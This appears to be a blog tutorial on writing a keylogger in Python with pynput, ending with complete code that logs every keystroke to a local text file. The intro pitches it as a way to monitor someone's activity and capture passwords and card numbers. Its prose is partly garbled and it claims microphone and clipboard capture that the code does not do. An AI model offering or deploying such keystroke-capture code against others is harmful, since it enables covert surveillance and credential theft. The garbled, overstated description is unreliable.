How to make a keylogger in Python
In this post, you will learn how to make a keylogger using the Python programming language.
A keylogger is a sort of screening technology used to screen and record every keystroke composed on a particular PC's keyboard. In this exercise, you will figure out how to compose a distant keylogger using Python.
You may be wondering why a keylogger is so beneficial. By using this, we can monitor someone's activities on the internet, like gathering computer data, network information, recording the user's microphone, getting the clipboard content, and much more. Keyloggers are utilised by IT associations to investigate specialised issues with PCs and business organizations. When a hacker utilises this for dishonest purposes, they can capture all that you type on the keyboard, including your credentials (VISA numbers, passwords, and so on). The objective of this instructional exercise is to make you mindful of this sort of content while figuring out how to actualize such tutorial all alone for learning purpose.
Install pynput module
The pynput package allows you to control and monitor input devices. It contains sub-packages for each type of supported input device. To make a keylogger in Python, first we need to install the pynput package.
Once this is installed, create a python file and import the required package and module at the top. To monitor keyboard, we need the key and a listener method of pynput.keyboard module.
from pynput.keyboard import Key, Listener
import logging
We have imported the logging module, so that we can store all the logs in a file. Next, we need to set the logging path to store all the key logs and set up the basic configuration as shown below.
log_dir = r"C:/keylogger/"
logging.basicConfig(filename = (log_dir + "keylog.txt"),
level=logging.DEBUG,
format='%(asctime)s: %(message)s')
Then, we have defined a function that's called when a key is pressed.
def on_press(key):
logging.info(str(key))
Next, we created an instance of the listener and joined the listener thread to the main thread to keep waiting for the keys. The Listener class is a thread, which implies that when it has joined to the main thread, no code will be executed after the .join() until the Listener is halted.
with Listener(on_press=on_press) as listener:
listener.join
Complete Code: Keylogger in Python
On merging the above mentioned codes, we are in the phase of making our final program to make a keylogger.
from pynput.keyboard import Key, Listener
import logging
dir_log = r"C:/keylogger/"
logging.basicConfig(filename = (dir_log + "keylog.txt"),
level=logging.DEBUG,
format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
While the script is running, attempt to open a text file or browser and type something. You can see a text file "keylog.txt" created in the specified directory with logs.
Related Articles
Python program to map two lists into a dictionaryPython program to input week number and print week day
Python program to multiply two numbers
Multiply all elements in list Python
Python program to check leap year
Vader Sentiment Analysis Python
isalpha Python
Python YouTube Downloader Script
Python project ideas for beginners
Pandas string to datetime
Fillna Pandas Example
Lemmatization nltk
How to generate QR Code in Python using PyQRCode
OpenCV and OCR Python
PHP code to send SMS to mobile from website
Fibonacci Series Program in Python
Python File Handler - Create, Read, Write, Access, Lock File
Python convert XML to JSON
Python convert xml to dict
Python convert dict to xml